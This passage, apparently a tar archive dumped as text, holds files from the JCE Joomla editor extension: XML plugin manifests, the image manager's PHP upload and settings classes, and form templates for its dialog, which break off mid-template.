	<authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_SEARCHREPLACE_DESC</description>
	<icon>search,replace</icon>
	
	<help></help>
	<languages></languages>
</extension>com_jce/editor/plugins/searchreplace/index.html000060400000000054152453734450015717 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/source/source.xml000060400000001122152453734450014440 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
	<name>WF_SOURCE_TITLE</name>
	<version>2.9.99.2</version>
	<creationDate>22-04-2026</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Copyright (C) 2006 - 2026 Ryan Demmer. All rights reserved</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_SOURCE_DESC</description>
	<languages></languages>
</extension>
com_jce/editor/plugins/source/index.html000060400000000054152453734450014416 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/imgmanager/imgmanager.php000060400000005702152453734450016055 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;

class WFImgManagerPlugin extends WFMediaManager
{
    public $_filetypes = 'jpg,jpeg,png,apng,gif,webp,avif';

    protected $name = 'imgmanager';

    public function __construct($config = array())
    {
        $config['colorpicker'] = true;

        parent::__construct($config);

        $this->addFileBrowserEvent('onUpload', array($this, 'onUpload'));
    }

    /**
     * Display the plugin.
     */
    public function display()
    {
        parent::display();

        $document = WFDocument::getInstance();

        // create new tabs instance
        $tabs = WFTabs::getInstance(array(
            'base_path' => WF_EDITOR_PLUGINS . '/imgmanager',
        ));

        // Add tabs
        $tabs->addTab('image', 1, array('plugin' => $this));

        if ($this->allowEvents()) {
            $tabs->addTab('rollover', $this->getParam('tabs_rollover', 1));
        }

        $tabs->addTab('advanced', $this->getParam('tabs_advanced', 1));

        $document->addScript(array('imgmanager'), 'plugins');
        $document->addStyleSheet(array('imgmanager'), 'plugins');

        $document->addScriptDeclaration('ImageManagerDialog.settings=' . json_encode($this->getSettings()) . ';');
    }

    public function getDefaultAttributes()
    {
        return parent::getDefaultAttributes();
    }

    public function onUpload($file, $relative = '')
    {
        parent::onUpload($file, $relative);
        
        $app = Factory::getApplication();

        // inline upload
        if ($app->input->getInt('inline', 0) === 1) {
            $result = array(
                'file' => $relative,
                'name' => WFUtility::mb_basename($relative),
            );

            if ($this->getParam('always_include_dimensions', 1)) {
                $dim = @getimagesize($file);

                if ($dim) {
                    $result['width'] = $dim[0];
                    $result['height'] = $dim[1];
                }
            }

            $result = array_merge($result, array('attributes' => $this->getDefaultAttributes()));

            return $result;
        }

        return array();
    }

    public function getSettings($settings = array())
    {        
        $settings = array(
            'always_include_dimensions' => (bool) $this->getParam('always_include_dimensions', 1),
        );

        $params = $this->getParams()->get('imgmanager', []);

        $attributes = array();

        foreach($params as $name => $value) {
            if (strpos($name, 'attributes_') === 0) {
                $attr = substr($name, 11);
                $attributes[$attr] = (bool) $value;
            }
        }

        $settings['attributes'] = $attributes;

        return parent::getSettings($settings);
    }
}
com_jce/editor/plugins/imgmanager/imgmanager.xml000060400000037425152453734450016075 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
    <name>WF_IMGMANAGER_TITLE</name>
    <version>2.9.99.2</version>
    <creationDate>22-04-2026</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Ryan Demmer</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_IMGMANAGER_DESC</description>
    <icon>imgmanager</icon>
    <files></files>

    <fields name="imgmanager">
        <fieldset name="config">

            <field name="dir" type="filesystempath" default="" size="50" label="WF_PARAM_DIRECTORY" description="WF_PARAM_DIRECTORY_DESC"/>
            <field name="max_size" class="input-small" hint="1024" max="" type="uploadmaxsize" step="128" label="WF_PARAM_UPLOAD_SIZE" description="WF_PARAM_UPLOAD_SIZE_DESC" />
            <field name="extensions" type="filetype" class="extensions" default="jpeg,jpg,png,apng,gif,webp,avif" label="WF_PARAM_EXTENSIONS" description="WF_PARAM_EXTENSIONS_DESC">
                <option value="jpeg">jpeg</option>
                <option value="jpg">jpg</option>
                <option value="png">png</option>
                <option value="apng">apng</option>
                <option value="gif">gif</option>
                <option value="webp">webp</option>
                <option value="avif">avif</option>
            </field>
            <field name="filesystem" type="filesystem" default="" label="WF_PARAM_FILESYSTEM" description="WF_PARAM_FILESYSTEM_DESC">
                <option value="">WF_OPTION_INHERIT</option>
            </field>

            <field name="always_include_dimensions" type="yesno" default="1" label="WF_IMGMANAGER_PARAM_ALWAYS_INCLUDE_DIMENSIONS" description="WF_IMGMANAGER_PARAM_ALWAYS_INCLUDE_DIMENSIONS_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="custom_classes" type="repeatable" default="" label="WF_LABEL_CUSTOM_CLASSES" description="WF_LABEL_CUSTOM_CLASSES_DESC">
                <field type="text" size="50" hiddenLabel="true" />
            </field>

            <field name="basic_dialog" type="yesno" default="0" label="WF_PARAM_BASIC_DIALOG" description="WF_PARAM_BASIC_DIALOG_DESC" class="btn-group btn-group-yesno">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field type="container" showon="basic_dialog:1">
                <field name="basic_dialog_filebrowser" type="yesno" default="1" label="WF_URL_FILE_BROWSER" description="WF_URL_FILE_BROWSER_DESC" class="btn-group btn-group-yesno">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
            </field>

            <fieldset name="defaults">
                <field type="heading" label="WF_PROFILES_PLUGINS_DEFAULTS" />

                <field name="margin_top" type="list" default="" class="editable" label="WF_PARAM_MARGIN_TOP" description="WF_PARAM_MARGIN_TOP_DESC">
                    <option value="">WF_OPTION_NOT_SET</option>
                    <option value="0">0</option>
                    <option value="1">1</option>
                    <option value="2">2</option>
                    <option value="3">3</option>
                    <option value="4">4</option>
                    <option value="5">5</option>
                    <option value="6">6</option>
                    <option value="7">7</option>
                    <option value="8">8</option>
                    <option value="9">9</option>
                    <option value="10">10</option>
                </field>

                <field name="margin_right" type="list" default="" class="editable" label="WF_PARAM_MARGIN_RIGHT" description="WF_PARAM_MARGIN_RIGHT_DESC">
                    <option value="">WF_OPTION_NOT_SET</option>
                    <option value="0">0</option>
                    <option value="1">1</option>
                    <option value="2">2</option>
                    <option value="3">3</option>
                    <option value="4">4</option>
                    <option value="5">5</option>
                    <option value="6">6</option>
                    <option value="7">7</option>
                    <option value="8">8</option>
                    <option value="9">9</option>
                    <option value="10">10</option>
                </field>

                <field name="margin_bottom" type="list" default="" class="editable" label="WF_PARAM_MARGIN_BOTTOM" description="WF_PARAM_MARGIN_BOTTOM_DESC">
                    <option value="">WF_OPTION_NOT_SET</option>
                    <option value="0">0</option>
                    <option value="1">1</option>
                    <option value="2">2</option>
                    <option value="3">3</option>
                    <option value="4">4</option>
                    <option value="5">5</option>
                    <option value="6">6</option>
                    <option value="7">7</option>
                    <option value="8">8</option>
                    <option value="9">9</option>
                    <option value="10">10</option>
                </field>

                <field name="margin_left" type="list" default="" class="editable" label="WF_PARAM_MARGIN_LEFT" description="WF_PARAM_MARGIN_LEFT_DESC">
                    <option value="">WF_OPTION_NOT_SET</option>
                    <option value="0">0</option>
                    <option value="1">1</option>
                    <option value="2">2</option>
                    <option value="3">3</option>
                    <option value="4">4</option>
                    <option value="5">5</option>
                    <option value="6">6</option>
                    <option value="7">7</option>
                    <option value="8">8</option>
                    <option value="9">9</option>
                    <option value="10">10</option>
                </field>

                <field name="border" type="yesno" default="0" label="WF_PARAM_BORDER_ENABLE" description="WF_PARAM_BORDER_ENABLE_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>

                <field name="border_width" type="list" default="1" class="editable" label="WF_PARAM_BORDER_WIDTH" description="WF_PARAM_BORDER_WIDTH_DESC">
                    <option value="inherit">WF_OPTION_NOT_SET</option>
                    <option value="0">0</option>
                    <option value="1">1</option>
                    <option value="2">2</option>
                    <option value="3">3</option>
                    <option value="4">4</option>
                    <option value="5">5</option>
                    <option value="6">6</option>
                    <option value="7">7</option>
                    <option value="8">8</option>
                    <option value="9">9</option>
                    <option value="thin">WF_OPTION_BORDER_THIN</option>
                    <option value="medium">WF_OPTION_BORDER_MEDIUM</option>
                    <option value="thick">WF_OPTION_BORDER_THICK</option>
                </field>

                <field name="border_style" type="list" default="solid" label="WF_PARAM_BORDER_STYLE" description="WF_PARAM_BORDER_STYLE_DESC">
                    <option value="inherit">WF_OPTION_NOT_SET</option>
                    <option value="none">JNONE</option>
                    <option value="solid">WF_OPTION_BORDER_SOLID</option>
                    <option value="dashed">WF_OPTION_BORDER_DASHED</option>
                    <option value="dotted">WF_OPTION_BORDER_DOTTED</option>
                    <option value="double">WF_OPTION_BORDER_DOUBLE</option>
                    <option value="groove">WF_OPTION_BORDER_GROOVE</option>
                    <option value="inset">WF_OPTION_BORDER_INSET</option>
                    <option value="outset">WF_OPTION_BORDER_OUTSET</option>
                    <option value="ridge">WF_OPTION_BORDER_RIDGE</option>
                </field>

                <field name="border_color" type="color" class="color" size="10" default="#000000" label="WF_PARAM_BORDER_COLOR" description="WF_PARAM_BORDER_COLOR_DESC"/>

                <field name="align" type="list" default="" label="WF_PARAM_ALIGN_DEFAULT" description="WF_PARAM_ALIGN_DEFAULT_DESC">
                    <option value="">WF_OPTION_NOT_SET</option>
                    <option value="left">WF_OPTION_ALIGN_LEFT</option>
                    <option value="center">WF_OPTION_ALIGN_CENTER</option>
                    <option value="right">WF_OPTION_ALIGN_RIGHT</option>
                    <option value="top">WF_OPTION_ALIGN_TOP</option>
                    <option value="middle">WF_OPTION_ALIGN_MIDDLE</option>
                    <option value="bottom">WF_OPTION_ALIGN_BOTTOM</option>
                </field>

                <field name="style" type="text" default="" size="50" label="WF_LABEL_STYLE" description="WF_LABEL_STYLE_DESC" />
                <field name="classes" type="text" default="" size="50" label="WF_LABEL_CLASSES" description="WF_LABEL_CLASSES_DESC" />
                <field name="title" type="text" default="" size="50" label="WF_LABEL_TITLE" description="WF_LABEL_TITLE_DESC" />
                <field name="id" type="text" default="" size="50" label="WF_LABEL_ID" description="WF_LABEL_ID_DESC" />
                <field name="direction" type="list" default="" label="WF_LABEL_DIR" description="WF_LABEL_DIR_DESC">
                    <option value="">WF_OPTION_NOT_SET</option>
                    <option value="ltr">WF_OPTION_LTR</option>
                    <option value="rtl">WF_OPTION_RTL</option>
                </field>
                <field name="usemap" type="text" default="" size="50" label="WF_LABEL_USEMAP" description="WF_LABEL_USEMAP_DESC" />
                <field name="longdesc" type="browser" default="" size="50" class="browser" label="WF_LABEL_LONGDESC" description="WF_LABEL_LONGDESC_DESC" />

                <field name="loading" type="list" default="" label="WF_LABEL_LOADING" description="WF_LABEL_LOADING_DESC">
                    <option value="">WF_OPTION_NOT_SET</option>
                    <option value="lazy">WF_OPTION_LOADING_LAZY</option>
                    <option value="eager">WF_OPTION_LOADING_EAGER</option>
                </field>

                <field name="attributes" type="keyvalue" default="" label="WF_PARAM_CUSTOM_ATTRIBUTES" description="WF_PARAM_CUSTOM_ATTRIBUTES_DESC" boolean="true" />

            </fieldset>

            <field type="heading" label="WF_PROFILES_PLUGINS_ACCESS" />

            <field type="container" showon="basic_dialog:0">
                <field name="tabs_rollover" type="yesno" default="1" label="WF_IMGMANAGER_PARAM_TAB_ROLLOVER" description="WF_IMGMANAGER_PARAM_TAB_ROLLOVER_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="tabs_advanced" type="yesno" default="1" label="WF_IMGMANAGER_PARAM_TAB_ADVANCED" description="WF_IMGMANAGER_PARAM_TAB_ADVANCED_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="attributes_dimensions" type="yesno" default="1" label="WF_IMGMANAGER_SHOW_DIMENSIONS" description="WF_IMGMANAGER_SHOW_DIMENSIONS_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="attributes_align" type="yesno" default="1" label="WF_IMGMANAGER_SHOW_ALIGN" description="WF_IMGMANAGER_SHOW_ALIGN_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="attributes_margin" type="yesno" default="1" label="WF_IMGMANAGER_SHOW_MARGIN" description="WF_IMGMANAGER_SHOW_MARGIN_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                <field name="attributes_border" type="yesno" default="1" label="WF_IMGMANAGER_SHOW_BORDER" description="WF_IMGMANAGER_SHOW_BORDER_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
            </field>

            <field name="attributes_classes" type="yesno" default="1" label="WF_IMGMANAGER_SHOW_CLASSES" description="WF_IMGMANAGER_SHOW_CLASSES_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="help_button" type="yesno" default="1" label="WF_PARAM_HELP_BUTTON" description="WF_PARAM_HELP_BUTTON_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="upload" type="yesno" default="1" label="WF_PARAM_UPLOAD" description="WF_PARAM_UPLOAD_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="folder_new" type="yesno" default="1" label="WF_PARAM_FOLDER_CREATE" description="WF_PARAM_FOLDER_CREATE_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="folder_delete" type="yesno" default="1" label="WF_PARAM_FOLDER_DELETE" description="WF_PARAM_FOLDER_DELETE_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="folder_rename" type="yesno" default="1" label="WF_PARAM_FOLDER_RENAME" description="WF_PARAM_FOLDER_RENAME_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="folder_move" type="yesno" default="1" label="WF_PARAM_FOLDER_PASTE" description="WF_PARAM_FOLDER_PASTE_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="file_delete" type="yesno" default="1" label="WF_PARAM_FILE_DELETE" description="WF_PARAM_FILE_DELETE_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="file_rename" type="yesno" default="1" label="WF_PARAM_FILE_RENAME" description="WF_PARAM_FILE_RENAME_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="file_move" type="yesno" default="1" label="WF_PARAM_FILE_PASTE" description="WF_PARAM_FILE_PASTE_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="inline_upload" type="yesno" default="1" label="WF_PARAM_INLINE_UPLOAD" description="WF_PARAM_INLINE_UPLOAD_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
        </fieldset>
    </fields>
    <languages>
        <language tag="en-GB">en-GB.WF_imgmanager.ini</language>
    </languages>
    <help>
        <topic key="imgmanager.about" title="WF_IMGMANAGER_HELP_ABOUT" />
        <topic key="imgmanager.interface" title="WF_IMGMANAGER_HELP_INTERFACE" />
        <topic key="imgmanager.rollover" title="WF_IMGMANAGER_HELP_ROLLOVER" />
        <topic key="imgmanager.advanced" title="WF_IMGMANAGER_HELP_ADVANCED" />
        <topic key="imgmanager.insert" title="WF_IMGMANAGER_HELP_INSERT" />
        <topic file="libraries/xml/help/manager.xml" />
    </help>
</extension>
com_jce/editor/plugins/imgmanager/index.html000060400000000054152453734450015225 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/imgmanager/config.php000060400000003037152453734450015212 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFImgmanagerPluginConfig
{
    public static function getConfig(&$settings)
    {
        require_once __DIR__ . '/imgmanager.php';

        $plugin = new WFImgmanagerPlugin();

        $config = array();

        $filetypes = $plugin->getFileTypes();

        if ($plugin->getParam('upload', 1)) {
            $config['upload'] = array(
                'max_size' => $plugin->getParam('max_size', 1024),
                'filetypes' => $filetypes,
                'inline' => $plugin->getParam('inline_upload', 1),
            );
        }

        if ($plugin->getParam('basic_dialog', 0) == 1) {
            $config['basic_dialog'] = true;

            if ($plugin->getParam('basic_dialog_filebrowser', 1) == 1) {
                $config['basic_dialog_filebrowser'] = true;
                $config['filetypes'] = $filetypes;
            }

            $config['basic_dialog_classes'] = (bool) $plugin->getParam('attributes_classes', 1);

            $config['always_include_dimensions'] = (bool) $plugin->getParam('always_include_dimensions', 1);
        }

        $config['attributes'] = $plugin->getDefaultAttributes();

        $custom_classes = (array) $plugin->getParam('custom_classes', []);
        $config['custom_classes'] = array_filter($custom_classes);

        $settings['imgmanager'] = $config;
    }
}
com_jce/editor/plugins/imgmanager/tmpl/advanced.php000060400000013331152453734450016464 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<div class="uk-form-row uk-grid uk-grid-small">
    <label for="style" class="hastip uk-form-label uk-width-1-1 uk-width-small-3-10" title="<?php echo Text::_('WF_LABEL_STYLE_DESC'); ?>"><?php echo Text::_('WF_LABEL_STYLE'); ?></label>
    <div class="uk-form-controls uk-width-1-1 uk-width-small-7-10"><input id="style" type="text" value="" /></div>
</div>
<div class="uk-form-row uk-grid uk-grid-small" id="attributes-classes">
    <label for="classlist" class="hastip uk-form-label uk-width-1-1 uk-width-small-3-10" title="<?php echo Text::_('WF_LABEL_CLASSES_DESC'); ?>"><?php echo Text::_('WF_LABEL_CLASSES'); ?></label>
    <div class="uk-form-controls uk-width-1-1 uk-width-small-7-10">
        <input type="text" id="classes" class="uk-datalist" multiple="multiple" list="classes_datalist" />
        <datalist id="classes_datalist"></datalist>
    </div>
</div>
<div class="uk-form-row uk-grid uk-grid-small">
    <label for="title" class="hastip uk-form-label uk-width-1-1 uk-width-small-3-10" title="<?php echo Text::_('WF_LABEL_TITLE_DESC'); ?>"><?php echo Text::_('WF_LABEL_TITLE'); ?></label>
    <div class="uk-form-controls uk-width-1-1 uk-width-small-7-10"><input id="title" type="text" value="" /></div>
</div>
<div class="uk-form-row uk-grid uk-grid-small">
    <label for="id" class="hastip uk-form-label uk-width-1-1 uk-width-small-3-10" title="<?php echo Text::_('WF_LABEL_ID_DESC'); ?>"><?php echo Text::_('WF_LABEL_ID'); ?></label>
    <div class="uk-form-controls uk-width-1-1 uk-width-small-7-10"><input id="id" type="text" value="" /></div>
</div>

<div class="uk-form-row uk-grid uk-grid-small">
    <label for="dir" class="hastip uk-form-label uk-width-1-1 uk-width-small-3-10" title="<?php echo Text::_('WF_LABEL_DIR_DESC'); ?>"><?php echo Text::_('WF_LABEL_DIR'); ?></label>
    <div class="uk-form-controls uk-width-1-1 uk-width-small-7-10">
        <select id="dir">
            <option value=""><?php echo Text::_('WF_OPTION_NOT_SET'); ?></option>
            <option value="ltr"><?php echo Text::_('WF_OPTION_LTR'); ?></option>
            <option value="rtl"><?php echo Text::_('WF_OPTION_RTL'); ?></option>
        </select>
    </div>
</div>

<div class="uk-form-row uk-grid uk-grid-small">
    <label for="lang" class="hastip uk-form-label uk-width-1-1 uk-width-small-3-10" title="<?php echo Text::_('WF_LABEL_LANG_DESC'); ?>"><?php echo Text::_('WF_LABEL_LANG'); ?></label>
    <div class="uk-form-controls uk-width-1-1 uk-width-small-7-10"><input id="lang" type="text" value="" /></div>
</div>

<div class="uk-form-row uk-grid uk-grid-small">
    <label for="usemap" class="hastip uk-form-label uk-width-1-1 uk-width-small-3-10" title="<?php echo Text::_('WF_LABEL_USEMAP_DESC'); ?>"><?php echo Text::_('WF_LABEL_USEMAP'); ?></label>
    <div class="uk-form-controls uk-width-1-1 uk-width-small-7-10"><input id="usemap" type="text" value="" /></div>
</div>

<div class="uk-form-row uk-grid uk-grid-small html4">
    <label for="longdesc" class="hastip uk-form-label uk-width-1-1 uk-width-small-3-10" title="<?php echo Text::_('WF_LABEL_LONGDESC_DESC'); ?>"><?php echo Text::_('WF_LABEL_LONGDESC'); ?></label>
    <div class="uk-form-controls uk-width-1-1 uk-width-small-7-10"><input id="longdesc" type="text" value="" class="browser html" /></div>
</div>

<div class="uk-form-row uk-grid uk-grid-small">
    <label for="loading" class="hastip uk-form-label uk-width-1-1 uk-width-small-3-10" title="<?php echo Text::_('WF_LABEL_LOADING_DESC'); ?>"><?php echo Text::_('WF_LABEL_LOADING'); ?></label>
    <div class="uk-form-controls uk-width-1-1 uk-width-small-7-10">
        <select id="loading">
            <option value=""><?php echo Text::_('WF_OPTION_NOT_SET'); ?></option>
            <option value="lazy"><?php echo Text::_('WF_OPTION_LOADING_LAZY'); ?></option>
            <option value="eager"><?php echo Text::_('WF_OPTION_LOADING_EAGER'); ?></option>
        </select>
    </div>
</div>

<div class="uk-form-row uk-grid uk-grid-small">
    <label for="custom_attributes" class="uk-form-label uk-width-1-1 uk-width-small-3-10"><?php echo Text::_('WF_LABEL_ATTRIBUTES'); ?></label>
    
    <div class="uk-form-controls uk-width-1-1 uk-width-small-7-10 uk-flex-wrap" id="custom_attributes">
        <div class="uk-form-row uk-repeatable uk-width-1-1">
            <div class="uk-form-controls uk-grid uk-grid-small uk-width-9-10">
                <label class="uk-form-label uk-width-1-1 uk-width-small-1-10"><?php echo Text::_('WF_LABEL_NAME'); ?></label>
                <div class="uk-form-controls uk-width-1-1 uk-width-small-4-10">
                    <input type="text" name="custom_attributes_name[]" />
                </div>
                <label class="uk-form-label uk-width-1-1 uk-width-small-1-10"><?php echo Text::_('WF_LABEL_VALUE'); ?></label>
                <div class="uk-form-controls uk-width-1-1 uk-width-small-4-10">
                    <input type="text" name="custom_attributes_value[]" />
                </div>
            </div>
            <div class="uk-form-controls uk-width-1-10 uk-margin-small-left">
                <button class="uk-button uk-button-link uk-repeatable-create" aria-label="<?php echo Text::_('WF_LABEL_ADD'); ?>" title="<?php echo Text::_('WF_LABEL_ADD'); ?>"><i class="uk-icon-plus"></i></button>
                <button class="uk-button uk-button-link uk-repeatable-delete" aria-label="<?php echo Text::_('WF_LABEL_REMOVE'); ?>" title="<?php echo Text::_('WF_LABEL_REMOVE'); ?>"><i class="uk-icon-trash"></i></button>
            </div>
        </div>
    </div>
</div>com_jce/editor/plugins/imgmanager/tmpl/index.html000060400000000054152453734450016201 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/imgmanager/tmpl/image.php000060400000026013152453734450016002 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<div class="uk-grid uk-grid-small">
    <div class="uk-width-1-1 uk-width-medium-4-5 uk-flex-item-auto">
        <div class="uk-form-row uk-grid uk-grid-small">
            <label for="src" class="hastip uk-form-label uk-width-1-1 uk-width-small-1-5" title="<?php echo Text::_('WF_LABEL_URL_DESC'); ?>">
                <?php echo Text::_('WF_LABEL_URL'); ?>
            </label>
            <div class="uk-form-controls uk-width-1-1 uk-width-small-4-5">
                <input type="text" id="src" value="" class="filebrowser" data-filebrowser required />
            </div>
        </div>
        <div class="uk-form-row uk-grid uk-grid-small">
            <label for="alt" class="hastip uk-form-label uk-width-1-1 uk-width-small-1-5" title="<?php echo Text::_('WF_LABEL_ALT_DESC'); ?>">
                <?php echo Text::_('WF_LABEL_ALT'); ?>
            </label>
            <div class="uk-form-controls uk-width-1-1 uk-width-small-4-5">
                <input type="text" id="alt" value="" />
            </div>
        </div>

        <div class="uk-form-row uk-grid uk-grid-small" id="attributes-dimensions">
            <label class="hastip uk-form-label uk-width-1-1 uk-width-small-1-5" title="<?php echo Text::_('WF_LABEL_DIMENSIONS_DESC'); ?>">
                <?php echo Text::_('WF_LABEL_DIMENSIONS'); ?>
            </label>
            <div class="uk-form-control uk-width-1-1 uk-width-small-4-5 uk-form-constrain uk-flex">

                <div class="uk-form-controls">
                    <input type="text" id="width" value="" class="uk-text-muted" aria-label="<?php echo Text::_('WF_LABEL_WIDTH'); ?>" />
                </div>

                <div class="uk-form-controls">
                    <strong class="uk-form-label uk-text-center uk-vertical-align-middle" role="presentation">&times;</strong>
                </div>

                <div class="uk-form-controls">
                    <input type="text" id="height" value="" class="uk-text-muted" aria-label="<?php echo Text::_('WF_LABEL_HEIGHT'); ?>" />
                </div>

                <label class="uk-form-label">
                    <input class="uk-constrain-checkbox" type="checkbox" checked aria-label="<?php echo Text::_('WF_LABEL_PROPORTIONAL'); ?>" />
                    <?php echo Text::_('WF_LABEL_PROPORTIONAL'); ?>
                </label>
            </div>
        </div>

        <div class="uk-hidden-mini uk-grid uk-grid-small uk-form-row" id="attributes-align">
            <label for="align" class="hastip uk-form-label uk-width-1-5" title="<?php echo Text::_('WF_LABEL_ALIGN_DESC'); ?>">
                <?php echo Text::_('WF_LABEL_ALIGN'); ?>
            </label>
            <div class="uk-grid uk-grid-small uk-form-row uk-width-4-5">
                <div class="uk-width-1-2">
                    <div class="uk-form-controls uk-width-9-10">
                        <select id="align">
                            <option value=""><?php echo Text::_('WF_OPTION_NOT_SET'); ?></option>
                            <optgroup label="------------">
                                <option value="left"><?php echo Text::_('WF_OPTION_ALIGN_LEFT'); ?></option>
                                <option value="center"><?php echo Text::_('WF_OPTION_ALIGN_CENTER'); ?></option>
                                <option value="right"><?php echo Text::_('WF_OPTION_ALIGN_RIGHT'); ?></option>
                            </optgroup>
                            <optgroup label="------------">
                                <option value="top"><?php echo Text::_('WF_OPTION_ALIGN_TOP'); ?></option>
                                <option value="middle"><?php echo Text::_('WF_OPTION_ALIGN_MIDDLE'); ?></option>
                                <option value="bottom"><?php echo Text::_('WF_OPTION_ALIGN_BOTTOM'); ?></option>
                            </optgroup>
                        </select>
                    </div>
                </div>
                <div class="uk-width-1-2 uk-hidden-mini">
                    <label for="clear" class="hastip uk-form-label uk-width-3-10" title="<?php echo Text::_('WF_LABEL_CLEAR_DESC'); ?>" aria-label="<?php echo Text::_('WF_LABEL_CLEAR_DESC'); ?>">
                        <?php echo Text::_('WF_LABEL_CLEAR'); ?>
                    </label>
                    <div class="uk-form-controls uk-width-7-10">
                        <select id="clear" disabled>
                            <option value=""><?php echo Text::_('WF_OPTION_NOT_SET'); ?></option>
                            <option value="none"><?php echo Text::_('WF_OPTION_CLEAR_NONE'); ?></option>
                            <option value="both"><?php echo Text::_('WF_OPTION_CLEAR_BOTH'); ?></option>
                            <option value="left"><?php echo Text::_('WF_OPTION_CLEAR_LEFT'); ?></option>
                            <option value="right"><?php echo Text::_('WF_OPTION_CLEAR_RIGHT'); ?></option>
                        </select>
                    </div>
                </div>
            </div>
        </div>

        <div class="uk-hidden-mini uk-grid uk-grid-small uk-form-row" id="attributes-margin">
            <label for="margin" class="hastip uk-form-label uk-width-1-5" title="<?php echo Text::_('WF_LABEL_MARGIN_DESC'); ?>">
                <?php echo Text::_('WF_LABEL_MARGIN'); ?>
            </label>
            <div class="uk-form-controls uk-width-4-5 uk-grid uk-grid-small uk-form-equalize">

                <label for="margin_top" class="uk-form-label">
                    <?php echo Text::_('WF_OPTION_TOP'); ?>
                </label>
                <div class="uk-form-controls">
                    <input type="text" id="margin_top" value="" />
                </div>

                <label for="margin_right" class="uk-form-label">
                    <?php echo Text::_('WF_OPTION_RIGHT'); ?>
                </label>
                <div class="uk-form-controls">
                    <input type="text" id="margin_right" value="" />
                </div>

                <label for="margin_bottom" class="uk-form-label">
                    <?php echo Text::_('WF_OPTION_BOTTOM'); ?>
                </label>
                <div class="uk-form-controls">
                    <input type="text" id="margin_bottom" value="" />
                </div>

                <label for="margin_left" class="uk-form-label">
                    <?php echo Text::_('WF_OPTION_LEFT'); ?>
                </label>
                <div class="uk-form-controls">
                    <input type="text" id="margin_left" value="" />
                </div>
                <label class="uk-form-label">
                    <input type="checkbox" class="uk-equalize-checkbox" aria-label="<?php echo Text::_('WF_LABEL_EQUAL'); ?>" />
                    <?php echo Text::_('WF_LABEL_EQUAL'); ?>
                </label>
            </div>
        </div>

        <div class="uk-hidden-mini uk-grid uk-grid-small uk-form-row" id="attributes-border">
            <label for="border" class="hastip uk-form-label uk-width-1-5" title="<?php echo Text::_('WF_LABEL_BORDER_DESC'); ?>">
                <?php echo Text::_('WF_LABEL_BORDER'); ?>
            </label>

            <div class="uk-form-controls uk-grid uk-grid-small uk-width-4-5">
                <div class="uk-form-controls uk-width-0-3">
                    <input type="checkbox" id="border" aria-label="<?php echo Text::_('WF_LABEL_BORDER_ENABLE'); ?>" />
                </div>

